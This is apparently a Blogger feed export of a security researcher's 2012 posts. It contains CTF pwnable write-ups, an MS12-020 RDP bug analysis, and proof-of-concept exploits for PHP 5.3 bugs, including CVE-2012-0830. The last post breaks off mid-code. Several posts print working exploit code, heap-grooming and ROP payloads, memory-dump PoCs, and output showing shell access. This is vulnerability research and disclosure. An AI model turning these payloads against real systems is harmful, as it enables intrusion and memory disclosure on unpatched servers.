tag:blogger.com,1999:blog-77508051535364121312024-03-19T16:27:24.341+07:00untitledmy notes & articles about computerWorawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.comBlogger42125tag:blogger.com,1999:blog-7750805153536412131.post-26190771581722113662012-05-03T23:40:00.001+07:002012-05-04T12:04:59.065+07:00Plaid CTF 2012 - Secure FS<p>The binary file is stripped 64 bit PIE. If looking in <span class="code">.comment</span> section, we can guess the executable was compiled on Debian 6. With the given libc, we can confirm the guess. The given libc matches the debian libc package version must be 2.11.3-2 (luckily I do not update this vm). So my solution (exploit) is only for Debian 6 with given libc.</p>
<h4>Reversing</h4>
<p>From <span class="code">strings</span> command result, we see that the executable uses C++ STL. So many unknown functions are C++ STL code. Because executable was not compiled with optimization. We can write the code that use C++ STL and compile it. The assembly should be the same. From known C++ STL function, we know that the executable uses string, list, map. I write simple C++ code to use all these STL (<a href="https://sites.google.com/site/worawita/files/pctf2012/template.cpp?attredirects=0&d=1">template.cpp</a>). I cannot make IDA FLAIR to build the signature on Linux x64 binary. So I write a script to map the C++ STL (<a href="https://sites.google.com/site/worawita/files/pctf2012/mapstl.py?attredirects=0&d=1">mapstl.py</a>).</p>
<pre class="code language-sh">
$ g++ -o template template.cpp
$ objdump -C -d template > template.objdump.txt
$ objdump -C -d sfs > sfs.objdump.txt
$ python mapstr.py > map.txt
</pre>
<p>The result (<a href="https://sites.google.com/site/worawita/files/pctf2012/map.txt?attredirects=0&d=1">map.txt</a>) is not completed. Some function cannot be mapped. But with this result, reversing is much easier. Here is the reversing code (<a href="https://sites.google.com/site/worawita/files/pctf2012/sfs.cpp?attredirects=0&d=1"><strike>sfs.cpp</strike></a> <a href="https://sites.google.com/site/worawita/files/pctf2012/sfs2.cpp?attredirects=0&d=1">sfs2.cpp</a>).</p>
<h4>Vulnerability</h4>
<p>From code, I found only one bug in <span class="code">"ln"</span> function. The FileData object is deleted if <span class="code">"linkname"</span> is invalid path but File object is still point to it. So this is user-afer-free bug.</p>
<pre class="code language-sh">
user@/$ create file xor a
Data: AAAABBBB
user@/$ cat file
####
user@/$ ln file /x/x
Invalid path.
user@/$ cat file
▒▒▒0
user@/$ ln file /x/x
Invalid path.
*** glibc detected *** ./sfs: double free or corruption (!prev): 0x00007f4432e8e1f0 ***
======= Backtrace: =========
...
</pre>
<p>From above output, this bug can be used for information disclosure. We can <span class="code">"cat"</span> after deleting a file to read data from freed memory.</p>
<h4>Exploitation</h4>
<p>Because of ASLR and PIE, let start with information disclosure. If we <span class="code">"cat"</span> a file after trigger a bug first time, we get the address in libc .bss section because it is the first large free chunk. So we get libc loaded address. Next, <span class="code">std::list</span> is used in function. Its object is allocated on stack. If a next list is allocated on freed memory, we will see the stack address because there is a pointer that points back to object on stack.</p>
<p>Time to controlling <span class="code">rip</span>. The obvious method is overwriting vftable in freed FileData. But there is no suitable object to replace the freed memory for controlling vftable. I thought about string buffer in <span class="code">std::string</span>. It is possible but I do not want to dig into C++ STL. So I come up with allocating 2 consecutive FileData objects in heap like below.</p>
<pre style="padding-left:100px;line-height:150%">
+--------------------+--------------------+
| b3 | b4 |
+--------------------+--------------------+
</pre>
<p>I trigger a bug to delete "b3" and "b4". Next, doing some task to allocate some data on "b3". Then, creating a new file "evil" to allocate FileData on "b3" and "b4". So I can get heap layout on freed "b3" and "b4" like below.</p>
<pre style="padding-left:100px;line-height:150%">
+--------------------+--------------------+
| any | evil | free |
+--------------------+--------------------+
</pre>
<p>After getting above heap layout, I can use <span class="code">"edit"</span> command on "evil" to modify vftable pointer of b4 FileData easily. To get this, just do following commands.</p>
<pre class="code language-python">
do_create(sk, "b1", "xor", "AAAA", "a"*4000)
do_create(sk, "b2", "xor", "BBBB", "a"*4000)
do_ln(sk, "b1", "/xx/yy") # create a hole to hold small data
do_create(sk, "b3", "xor", "CCCC"*100, "a"*4000)
do_create(sk, "b4", "xor", "DDDD"*100, "a"*4000)
do_create(sk, "b5", "xor", "EEEE"*100, "a"*4000)
do_ln(sk, "b3", "/xx/yy")
do_ln(sk, "b4", "/xx/yy")
# ... fill memory here ...
do_create(sk, "evil", "xor", "E", "a"*4000)
</pre>
<p>I also create one more file after "b4" (below) in order to get the address of controlled data (FileData object). If I create a file after creating "evil", a FileData object is not fit to "free" chunk but a File object does. So I can use <span class="code">"cat"</span> command on "b4" to get the address of FileData object from File object in "free" chunk.</p>
<pre style="padding-left:100px;line-height:150%">
+--------------------+--------------------+--------------------+
| any | evil | free | b5 |
+--------------------+--------------------+--------------------+
</pre>
<p>At this point, I can control <span class="code">rip</span> and have controlled data. But I cannot find any gadget for pivoting <span class="code">rsp</span> to controlled data.</p>
<p>We can modify FileData pointer in File object by "edit"ing "b4". So we can read data from any valid memory address. After modify "b5" File object, we might not be able to edit "b5" because vftable pointer might point to invalid vftable.</p>
<p><span class="code">do_edit()</span> receives input with <span class="code">getline()</span> then calls <span class="code">encrypt()</span> with vftable. Because I know the stack address, I can compute the saved rip address of <span class="code">getline()</span>. I modify "b5" FileData pointer in File object to point to saved rip address minus 8. So <span class="code">getline()</span> fills the input to its saved rip address and after. Now I control <span class="code">rip</span> and <span class="code">rsp</span> points to controlled data.</p>
<p>Then, I do a small ROP to call <span class="code">execv()</span>. Finally, Pwned!. Here is my exploit (<a href="https://sites.google.com/site/worawita/files/pctf2012/sfs_sol.py?attredirects=0&d=1">sfs_sol.py</a>).</p>
<h4>UPDATE:</h4>
<p>I got reply from "@riczho"
<blockquote>
@sleepya_ Nice writeup! You found a bug that I put in by mistake - <b>it was supposed to be integer wraparound on the hard link count</b> :-)</blockquote></p>
<p>I forgot to reversing one block in <span class="code">do_ln()</span>. So the bug was supposed to be triggered by doing hard link 256 times, then removing a file. It is still user-after-free on freed FileData object. The idea to exploit is still the same. Here is a updated reversed code (<a href="https://sites.google.com/site/worawita/files/pctf2012/sfs2.cpp?attredirects=0&d=1">sfs2.cpp</a>).</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com4tag:blogger.com,1999:blog-7750805153536412131.post-39132162758891216812012-03-26T12:31:00.000+07:002012-03-28T21:22:33.507+07:00Understand MS12-020<p>I saw many misunderstanding about <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">MS12-020</a> bug. Here is my quick explanation (hope it is clear). There are 2 bugs for this bulletin. One is RCE (CVE-2012-0002). Another one is DoS (CVE-2012-0152). I use the diff result from work of people in IRC (freenode#MS12-020) <a href="http://pastie.org/private/4egcqt9nucxnsiksudy5dw">http://pastie.org/private/4egcqt9nucxnsiksudy5dw</a>.</p>
<h4>Understand User and Channel in RDP</h4>
<p>The User and Channel words explain themselves. A client can create a user by sending "MCS Attach User Request" (see the <a href="http://msdn.microsoft.com/en-us/library/cc240452%28v=prot.10%29.aspx">sequence</a>) to server. When creating a user, a server also create a channel for user. This channel is called <a href="http://msdn.microsoft.com/en-us/library/cc240930%28v=prot.10%29.aspx">"User Channel"</a>. The assigned user id is always the same as channel id. There is special user that created by sending <a href="http://msdn.microsoft.com/en-us/library/cc240508%28v=prot.10%29.aspx">"MCS Connect Initial"</a> request with <a href="http://msdn.microsoft.com/en-us/library/cc240512%28v=prot.10%29.aspx">"Client Network Data"</a>. It is "Server User" that created along with <a href="http://msdn.microsoft.com/en-us/library/cc240716%28v=prot.10%29.aspx">"Server Channel"</a>.</p>
<p>Channels can be created by sending "MCS Connect Initial" request with <a href="http://msdn.microsoft.com/en-us/library/cc240512%28v=prot.10%29.aspx">"Client Network Data"</a> or <a href="http://msdn.microsoft.com/en-us/library/cc240526%28v=prot.10%29.aspx">"MCS Channel Join Request"</a> with channel id 0.</p>
<p>Now let see how a server keeps track of Users and Channels. There are global Channel list and global User list (SList) for each connection. For each channel, there is a list to keep joined users. Similar to user. For each user, there is a list to keep joined channels.</p>
<h4>CVE-2012-0002</h4>
<p>There are 2 specific advisories for this CVE, <a href="http://aluigi.org/adv/termdd_1-adv.txt">Luigi</a> and <a href="http://www.zerodayinitiative.com/advisories/ZDI-12-044/">ZDI</a>. This bug occurs while adding channels (in <span class="code">NM_Connect()</span>) specified in <a href="http://msdn.microsoft.com/en-us/library/cc240512%28v=prot.10%29.aspx">"Client Network Data"</a>. When a server cannot create more channel (by checking a number of channel in Channel list with MaximumChannelIds), the <span class="code">NMAbortConnect()</span> is called. When look inside <span class="code">SM_OnConnected()</span>, you will see <span class="code">NM_Disconnect()</span> is called. Then <span class="code">NMDetachUserReq()</span> is called twice. So this is use-after-free bug.</p>
<p>You can see Kostya's work of this bug from <a href="http://expertmiami.blogspot.com/2012/03/ms12-020-round-up.html">his blog (MS12-020 round up)</a>. Additional, the bug can be triggered even MaximumChannelIds > 32 by sending "Connect Initial" request and "Attach User" requests at once. Because userData in "Connect Initial" is dispatched to another thread for processing (my guess). The "Attach User" requests are processed first. So a number of channel is Channel list is not 0 before processing the "Client Network Data".</p>
<p>Now the idea to controlling EIP is doing remote memory spray on svchost process with RDP requests. The difficulty is all RDP request is handled directly in driver (kernel mode). Only some data is copied to user mode memory space. I still cannot do it. Need more free time.</p>
<h4>CVE-2012-0152</h4>
<p>There is only 1 advisory from Microsoft, this is a DoS bug. Many people guess the bug is in <span class="code">HandleAttachUserReq()</span>. But I think it is in <span class="code">MCSChannelJoinRequest()</span>. Here is my reason.</p>
<p>User Channel is supposed to be joined only by user owner. But the bug in <span class="code">MCSChannelJoinRequest()</span> allow it. So the change is comparing request channel id against request user id instead of request channel id. This bug seems to have no problem at first. But when removing user (<span class="code">DetachUser()</span>), the User Channel is destroyed too. If User does not join its own channel, the channel is destroyed without removing joined users.</p>
<p>To trigger the bug is simple. First we send 2 "Attach User" requests. So we have userA and userB with channelA and channelB. Then we send a "Channel Join" request for userA with channelB. If we manage to removing userB before userA, channelB is destroyed while joined channel list in userA still have channelB. Then removing userB will try to remove itself from destroyed channelB. Boom!!</p>
<p>This is also user-after-free bug. But I cannot find any interesting operation on freed channel. So I guess this is a DoS bug. Some useful for this bug is safe remote detecting the vulnerabilities on a target. Here is <a href="http://pastebin.com/Ks2PhKb4">my code for checking</a>.</p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com3tag:blogger.com,1999:blog-7750805153536412131.post-52272644069234543982012-02-05T00:33:00.000+07:002012-02-19T17:14:46.013+07:00Mini-PoC for PHP 5.3.9 RCE (CVE-2012-0830)<p>As topic said mini, it is mainly my idea (+some code) to exploit this bug. I still cannot do real code execution now. Looking at <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/php_variables.c?r1=321634&r2=323007&pathrev=323016">diff patch</a>, it is obvious there is a bug when input is array and the number of input equals max_input_vars. Here is <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/main/php_variables.c?revision=321634&view=markup#l60">full vulnerable function</a>. I will show only related code.</p>
<pre class="code language-c">
/* ... */
if (is_array) {
while (1) {
/* ... */
if (zend_symtable_find(symtable1, escaped_index, index_len + 1, (void **) &gpc_element_p) == FAILURE // [1]
|| Z_TYPE_PP(gpc_element_p) != IS_ARRAY) { // [2]
if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [3]
if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
}
MAKE_STD_ZVAL(gpc_element);
array_init(gpc_element);
}
zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p);
}
/* ... */
symtable1 = Z_ARRVAL_PP(gpc_element_p); // [4]
/* ... */
goto plain;
}
} else {
plain_var:
MAKE_STD_ZVAL(gpc_element);
gpc_element->value = val->value;
Z_TYPE_P(gpc_element) = Z_TYPE_P(val);
/* ... */
if (zend_hash_num_elements(symtable1) <= PG(max_input_vars)) { // [5]
if (zend_hash_num_elements(symtable1) == PG(max_input_vars)) {
php_error_docref(NULL TSRMLS_CC, E_WARNING, "Input variables exceeded %ld. ...", PG(max_input_vars));
}
zend_symtable_update(symtable1, escaped_index, index_len + 1, &gpc_element, sizeof(zval *), (void **) &gpc_element_p); // [6]
} else {
zval_ptr_dtor(&gpc_element);
}
/* ... */
}
</pre>
<p>At [3], if a number of elements in array equals max_input_vars, program still continues looping. When program reachs [4], the <span class="code">'gpc_element_p'</span> is treated as array (no type check). But it might not be array if the program did not go inside [3]. That is a problem.</p>
<p>When looking closely at [1] and [2], the code at [1] might find the element but it is not array. The element must be string because all input are treated as string or array. Also the element is our input that parsed before the max_input_vars condition met. Then At [4], our string is treated as array. So we can create fake <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_hash.h?revision=321634&view=markup#l54">HashTable</a>. If our input name does not have more array nest, the PHP will go to [5]. Then inserting/updating input into fake array at [6].</p>
<p>To control EIP/RIP, there is <span class="code">'pDestructor'</span> in HashTable struct. If we can make PHP removing a element inside this HashTable, the program will jump to <span class="code">'pDestructor'</span> address. Easy??. All we need is <span class="code">'arBuckets'</span> must point to valid address that has NULL value (<a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_hash.c?revision=321634&view=markup#l350">check _zend_hash_index_update_or_next_insert() in zend_hash.c</a>).</p>
<p>Because PHP <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/filter/filter.c?revision=321634&view=markup#l405">filter extension</a> is enabled by default (compile option), the <span class="code">php_register_variable_ex()</span> is called twice for each input but different array. So first time for filter array, the input is inserted into fake array. Then the array is updated and <span class="code">'pDestructor'</span> will be called. Below is input for controlling EIP/RIP.</p>
<pre class="code language-text">
1=&2=&3=&...&999=&0=<fake HashTable with valid arBuckets address>&0[0]=
</pre>
<p>Because of ASLR+NX(+PIE), just controlling EIP is useless. I need some info leak. Here is my result for 32 bit only (<a href="https://sites.google.com/site/worawita/files/php_rce_poc.py?attredirects=0&d=1">php_rce_poc.py</a>) (I debugged the PHP with PHP-FPM).</p>
<p>First, there is some PHP page on server that has code like this.</p>
<pre class="code language-php">
<?php
echo $_POST['a']."\n";
for ($i = 0; $i < 8192; $i++)
echo " "; // to make PHP flush the buffer output
</pre>
<p>When input is inserted into array, a HashTable will be updated. We can use this fact to leak a heap address. But the trigger input will be inserted for filter array first, so the input will be updated for <span class="code">$_POST</span> array. This is bad because updating is modified only <span class="code">'pDataPtr'</span> in <span class="code">'Bucket'</span> struct.</p>
<p>What I did is creating fake HashTable, arBuckets, Bucket in an input instead of HashTable only. If I guess the address correctly, the <span class="code">'pDataPtr'</span> in fake Bucket will be updated. To increase the chance, I create multiple fake arBuckets and Buckets (see create_big_fake_array_search() in my code). When allocating big memory block, it is always allocated outside main heap (And address always ending with 0x018 on my box). After this brute forcing, I got the start address of fake data and a heap address of latest element.</p>
<p>Just a heap address is not enough for code execution. I need more. When <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend_hash.c?revision=321634&view=markup#l106">looking updating data in array code</a> (below), I found something interesting. If <span class="code">'pData'</span> does not point <span class="code">'pDataPtr'</span>, <span class="code">'pData'</span> will be freed first.</p>
<pre class="code language-c">
#define UPDATE_DATA(ht, p, pData, nDataSize) \
if (nDataSize == sizeof(void*)) { \
if ((p)->pData != &(p)->pDataPtr) { \
pefree_rel((p)->pData, (ht)->persistent); \
} \
memcpy(&(p)->pDataPtr, pData, sizeof(void *)); \
(p)->pData = &(p)->pDataPtr; \
}
</pre>
<p>If I set <span class="code">'pData'</span> in fake Bucket to the address of <span class="code">$_POST['a']</span> (<a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/Zend/zend.h?revision=321634&view=markup#l305">zval struct</a>). It will be freed. Then, I trick PHP to allocate craft string on that memory area. Finally, I can alter zval struct of <span class="code">$_POST['a']</span> to point to any address and the PHP code will echo the data in that memory area to me. But after altering the zval struct, the PHP will crash when clearing all variables. That's why I add the PHP code for flushing the output.</p>
<p>I can trick PHP to allocate on just freed memory area because in <span class="code"><a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/filter/filter.c?revision=321634&view=markup#l405">php_sapi_filter()</a></span>, the <span class="code">estrndup()</span> is called (at line 479) almost immediately after called <span class="code">php_register_variable_ex()</span> (at line 461). With the Zend Memory Management Cache that I described a little in <a href="http://auntitled.blogspot.com/2012/01/interruption-in-php-substrreplace.html">this post</a>, all I need to do is using the trigger input value to be fake zval struct.</p>
<p>I still cannot find the way to know the exact address of <span class="code">$_POST['a']</span>. I do brute forcing again. I know the heap address. It must be near. I test the result from dumping my fake HashTable. My method for brute forcing <span class="code">$_POST['a']</span> address is not reliable. Especially when PHP-FPM has many children.</p>
<p>Here is my output (code again <a href="https://sites.google.com/site/worawita/files/php_rce_poc.py?attredirects=0&d=1">php_rce_poc.py</a>)</p>
<pre class="code language-sh">
$ python php_rce_poc.py
Trying addr: b6c00018
Trying addr: b6c40018
Trying addr: b6c80018
Trying addr: b6cc0018
Trying addr: b6d00018
Trying addr: b6d40018
Trying addr: b6d80018
Trying addr: b6dc0018
Fake addr: b6dc0018
Heap addr: 08fe3180
Bruteforcing param_addr...
param addr: 08fe30a0
dumping memory at 0x08048000
⌂ELF☺☺☺ ☻ ♥ ☺ 04
</pre>
<p>After able to dump any memory address + controlling EIP/RIP, it is highly possible to do code execution. That's it for me.</p>
<p><b>Update</b> (5 Feb 2012): a little change on my code (<a href="https://sites.google.com/site/worawita/files/php_rce_poc2.py?attredirects=0&d=1">php_rce_poc2.py</a>).<br/>
<ul>
<li>Increase the search fake chunk range to make it work on apache2/mod_php5</li>
<li>Dump data at least 8192 bytes. So no need the PHP code for flushing output buffer.</li>
</ul></p>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com480tag:blogger.com,1999:blog-7750805153536412131.post-67902974879974779712012-01-30T23:29:00.000+07:002012-01-31T09:25:00.373+07:00GitS 2012 - 21 Fortress (Pwnable 500) Writeup<p>I cannot solve this challenge in time. The binary is 32 bit DSO. When I open it with IDA, the assembly is a mess. I could not understand the code. After doing some debugging, I figured something out.</p>
<p>Normally, the x86 uses ESP and EBP for stack pointer and frame pointer respectively. But this binary uses EBX for stack pointer and ECX for frame pointer. Another different is stack grow from lower address to higher address. So stack layer for this program looks like below.</p>
<div class="separator" style="clear: both; text-align: center;"><pre>
+-----------+ low address
| arg n +
+-----------+
+ ... +
+-----------+
+ arg 1 +
+-----------+
+ saved eip +
+-----------+ <=== ecx
+ saved ecx +
+-----------+
+ +
+ local var +
+ + <=== ebx
+-----------+ high address</pre></div>
<p>Other important things are
<ul>
<li>The program uses ESI register to keep the Entry Point address in memory.</li>
<li>All saved eip and pointers to function are obfuscated. The XOR key is at <span class="code">ESI+4248h</span> (or offset 434fh).</li>
<li>The assembly for call function is similar to below
<pre class="code language-assembly">
lea ebp, [esi+21Ch] ; address to return after function
lea esp, [esi+4248h] ; get xor key
xor ebp, [esp] ; obfuscate return address
lea ebx, [ebx+4] ; shift ebx to save return address
mov [ebx], ebp ; save return address
</pre></li>
<li>The assembly for function prologue is similar to below
<pre class="code language-assembly">
lea ebx, [ebx+4] ; shift ebx to save prev frame pointer
mov [ebx], ecx ; save ecx (prev frame pointer)
mov ecx, ebx ; move frame pointer
add ebx, 10h ; add stack pointer for local var
</pre></li>
<li>The assembly for function epilogue is similar to below (do as leave; ret)
<pre class="code language-assembly">
lea edi, [esi+4248h] ; get xor key address
mov ebp, [edi] ; get xor key
mov ebx, ecx ; restore stack pointer
mov ecx, [ebx] ; restore frame pointer
lea ebx, [ebx-4] ; remove saved frame pointer
xor ebp, [ebx] ; deobfuscate saved eip
lea ebx, [ebx-4] ; remove saved eip
jmp ebp ; go to return addr
</pre></li>
</ul>
</p>
<p>After known all above, I search for the functions with msfelfscan. Here is the result included the function name after I read assembly code (<a href="https://sites.google.com/site/worawita/files/gits2012/fortress_func_list.txt?attredirects=0&d=1">fortress_func_list.txt</a>).</p>
<pre class="code language-sh">
$ msfelfscan -I 0 -r "\x8d\x5b\x04\x89\x0b\x8b\xcb" fortress
[fortress]
...
</pre>
<p>Then I reverse the assembly (took me about 5 hours). Here is my C code (<a href="https://sites.google.com/site/worawita/files/gits2012/fortress.c?attredirects=0&d=1">fortress.c</a>). I found 2 vulnerabilities in <span class="code">put_property()</span> function.</p>
<pre class="code language-c">
struct Property {
char address[128]; // 0h
char name[32]; // 80h
void* fn_show_detail; // 0A0h
int price; // 0A4h
int sell_price: // 0A8h
int footage; // 0ACh
int num_bedroom; // 0B0h
int num_bathroom; // 0B4h
struct Property* prev; // 0B8h
struct Property* next; // 0BCh
}; // size 0xc0
void put_property()
{
/* ... */
print_str("\nProperty name: ");
read_len = read_until(buffer, 128, '\n');
if (read_len > 32) {
print_str("Name too long\n");
free(prop);
return;
}
buffer[read_len] = '\0';
strncpy(prop->name, buffer, 32); // [1] BUG: no null terminated
print_str("Address line 1: ");
read_len = read_until(buffer, 128, '\n');
if (read_len >= 128) {
print_str("Address too long\n");
free(prop);
return;
}
buffer[read_len] = '\n';
print_str("Address line 2: ");
data_len = read_len + 1;
// [2] BUG: integer overflow if address1 length is 127. below len will be 127-128=-1
read_len = read_until(buffer + data_len, 127 - data_len, '\n');
buffer[data_len + read_len] = '\n';
strncpy(prop->address, buffer, 128);
/* ... */
}
</pre>
<p>First vuln [1] can be used for leak memory address (<span class="code">fn_show_detail</span> and <span class="code">prev</span>). Second vuln [2] is buffer overflow. It can be used to overwrite saved eip of <span class="code">read_until()</span> stack frame (the stack is grown to higher address). But we need to be careful the <span class="code">'len'</span> and <span class="code">'size'</span> arguments because the <span class="code">read_until()</span> function uses value from argument. So to make Fortress a Segmentation Fault, we need to put "address 1" 127 characters and "address 2" 340 characters followed by new delimiter and big length. See below (Note: 'DDDD' overwrites the saved eip).</p>
<pre class="code language-none">
Address line 1: AAA... (127 chars)
Address line 2: AAA... (340 chars) ZtttBBBBCCCCDDDDZ
Segmentation fault
</pre>
<h4>Exploitation</h4>
<p>Because of ASLR and obfuscated address, we need to leak some info first. I use the first bug. Also I put 'price', 'footage', 'num_bedroom', 'num_bathroom' to has no \x00 in memory then sell it to make it prints <span class="code">'prev'</span> value (the <span class="code">Property</span> struct address in heap) too. The <span class="code">'fn_show_detail'</span> value is obfuscated, so we can use it to create valid obfuscated address to binary (<span class="code">key^A^A^B = key^B</span>).</p>
<p>To get the real XOR key, I tried to use <span class="code">printf()</span> but it is limited. I cannot use '$' and non-overwritten area is very far. Then, I found something similar to 'ret' in normal code. It is last 3 instructions in function epilogue. To make it like 'pop; ret', use last 4 instructions.</p>
<pre class="language-assembly">
lea ebx, [ebx-4] ; remove saved frame pointer
xor ebp, [ebx] ; deobfuscate saved eip
lea ebx, [ebx-4] ; remove saved eip
jmp ebp ; go to return addr
</pre>
<p>I used 'ret' and <span class="code">printf()</span> to dump stack value from previous stack frame. And I let program jump to function epilogue after calling <span class="code">printf()</span> to return controlling to program and overflow it again.<br/>Note: The <span class="code">'prop_addr'</span> is address of Property struct in heap (leak from above). I put format string in there.</p>
<pre class="language-python">
"""
LOAD:000001A1 lea ebx, [ebx-4]
LOAD:000001A4 xor edi, [ebx]
LOAD:000001A6 lea ebx, [ebx-4]
LOAD:000001A9 jmp edi
LOAD:000028D6 lea ebx, [ebx-4]
LOAD:000028D9 xor edi, [ebx]
LOAD:000028DB lea ebx, [ebx-4]
LOAD:000028DE jmp edi
"""
payload = ""
payload += pack("<I", prop_addr) # printf arg
payload += pack("<I", leaveret_addr^xor_key) # return control to program
payload += pack("<I", print_addr^0x1a1) # printf
payload += "\x00\x00\x00\x00"*80
payload += "\xfeAAA" # skipped (delim)
payload += pack("<I", 0x28d6^0x1a1) # need to be > 360 (length param)
payload += pack("<I", 0) # skipped
payload += pack("<I", 0x28d6 ^ xor_key)
payload += "\xfe"
payload = "A"*(357-len(payload)) + payload
# put property for leak image_load_addr and real_xor_key
send_and_recv_prompt(sk, "3\n") # put property
send_and_recv_prompt(sk, "2\n") # commercial
send_and_recv_prompt(sk, "1\n") # name
send_and_recv_prompt(sk, "A"*127+"\n") # addr1
data = send_and_recv_prompt(sk, payload) # addr2
</pre>
<p>Got the non-obfuscated address of string in binary :]. Now I can find image load address and real XOR key. After got all needed information, just do the same method as above. But call to <span class="code">mmap2()</span> with RWX permission and <span class="code">read_until()</span> instead of <span class="code">printf()</span>. Finally jump to shellcode. Pwned!!!</p>
<p>Here is my exploit (<a href="https://sites.google.com/site/worawita/files/gits2012/fortress.py?attredirects=0&d=1">fortress.py</a>). It is not 100% work because the obfuscation might get bad char '\n'.</p>
<pre class="code language-sh">
$ python fortress.py
xor_key = 56e45ea0
prop_addr = b78a7004
image_load_addr = b78cc000
real_xor_key = e1689ea0
uid=1001(fortress) gid=1001(fortress)
fortress
key
Information disclosure becomes the most wanted
</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com2tag:blogger.com,1999:blog-7750805153536412131.post-86664925347315172462012-01-21T22:22:00.000+07:002012-01-21T22:22:50.004+07:00PHP Array Interruption Bug due to call-time-pass-by-reference<p>I also reported this bug via e-mail a few months ago. Bug no fixed :[.</p>
<p><b>Affected versions:</b> 5.3.x<br/>
This bug does not affect version 5.4 (and never) because call-time-pass-by-reference feature is removed.</p>
<p>Some PHP functions contain this bug. It can lead information leakeage and memory corruption (found only one). But most of them (what I can do now) can do only program crash.</p>
<p>Normally in PHP functions, the array is iterated with <span class="code">zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), zend_hash_move_forward()</span> or <span class="code">zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), zend_hash_move_forward_ex()</span> functions. If an array is passed by reference and a PHP function does something that can be interrupted such as calling <span class="code">convert_to_xxx_ex()</span> function, the array elements might be altered and the pointers in PHP function might point to invalid data.</p>
<p>The pseudocode structure that has this problem is shown below.</p>
<pre class="code langugge-c">
zend_hash_internal_pointer_reset(input)
loop:
zend_hash_get_current_data(input, entry)
//...
convert_to_xxx_ex(**entry) // <== interruption is here
//...
zend_hash_move_forward(input)
</pre>
<p>Because <span class="code">zend_hash_internal_pointer_reset(), zend_hash_get_current_data(), and zend_hash_move_forward()</span> use internal pointer (pInternalPointer) for interation, the interruption can make only entry pointer point to invalid data. I can only make the program crash with this array iteration code.</p>
<pre class="code language-c">
zend_hash_internal_pointer_reset_ex(input, pos)
loop:
zend_hash_get_current_data_ex(input, entry, pos)
//...
convert_to_xxx_ex(**entry) // <== interruption is here
//...
zend_hash_move_forward_ex(input, pos)
</pre>
<p>While <span class="code">zend_hash_internal_pointer_reset_ex(), zend_hash_get_current_data_ex(), and zend_hash_move_forward_ex()</span> use external pointer (<span class="code">'pos'</span> in above pseudocode) for interation, the interruption can make pos and entry pointers point to invalid data (manipulated data). Some of PHP function I can leak data from memory address or do memory corruption.</p>
<p>Below is PoC for dump memory at any address with <span class="code">implode()</span> (32 bit only).</p>
<pre class="code language-php">
<?php
class dummy {
public function __toString() {
unset($GLOBALS['arr1'][0]);
unset($GLOBALS['arr1'][1]);
// dump memory at 0x08048000
$GLOBALS['test1'] .= "\x00\x80\x04\x08\x10\x00\x00\x00\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
return '';
}
}
$test1='';
$arr1 = array(new dummy, 1);
$data = implode(",", &$arr1);
var_dump($data);
</pre>
<p>Below is PoC for memory corruption with <span class="code">array_combine()</span> (32 bit only).</p>
<pre class="code language-php">
<?php
class dummy {
public function __toString() {
unset($GLOBALS['arr2'][0]);
$GLOBALS['test1'] .= "\x00\x00\x00\xff\xff\xff\x7f\x01\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
return '0';
}
}
$test1="\x00";
$arr1 = array(new dummy);
$arr2 = array('dddddd');
$out = array_combine($arr1, &$arr2);
var_dump($out); // strlen of $out is 0x7fffffff
</pre>
<p>Here is the list of PHP functions that I found the problem.</p>
<pre>
====================================
=== zend_hash_get_current_data() ===
====================================
*** crash ***
- curl_setopt with CURLOPT_POSTFIELDS option
- setlocale
- preg_grep
</pre>
<pre>
=======================================
=== zend_hash_get_current_data_ex() ===
=======================================
*** crash ***
- imagesetstyle
- pcntl_sigwaitinfo
- curl_setopt_array
*** dump arbritary memory address ***
- file_put_contents
- fputcsv
- implode
*** memory corruption ***
- array_combine</pre>Worawit (sleepya)http://www.blogger.com/profile/16667985019731254845noreply@blogger.com1tag:blogger.com,1999:blog-7750805153536412131.post-80167118057106602222012-01-21T20:33:00.000+07:002012-01-21T22:23:03.377+07:00Interruption in PHP substr_replace()<p>I reported this bug a few months ago (<a href="https://bugs.php.net/bug.php?id=55871">#55871</a>). You can see simple PoC in test script in bug page. It has been fixed only in 5.4 branch. The main use of this bug is for post exploitation as discussed in Stefan Esser’s <a href="http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitationPHP-SLIDES.pdf">slide</a> and <a href="http://www.blackhat.com/presentations/bh-usa-09/ESSER/BHUSA09-Esser-PostExploitationPHP-PAPER.pdf">paper</a>. For anyone who does not know about internal PHP structures, please read them from the Stefan Esser's paper or slide first because I will not cover them here.</p>
<p><b>Affect Version: </b> 5.3.x</p>
<p>First, I will explain as I did in test script. The code for <span class="code">substr_replace()</span> is long. Here is the link to the vulnerable code <a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/standard/string.c?revision=321634&view=markup#l2211">string.c</a>. Below I show only related part.</p>
<pre class="code language-c">
PHP_FUNCTION(substr_replace)
{
// ...
// if a parameter is an array, no conversion at the beginning of function
// ...
if (Z_TYPE_PP(str) != IS_ARRAY) {
// ...
} else { /* str is array of strings */
// ...
while (zend_hash_get_current_data_ex(Z_ARRVAL_PP(str), (void **) &tmp_str, &pos_str) == SUCCESS) {
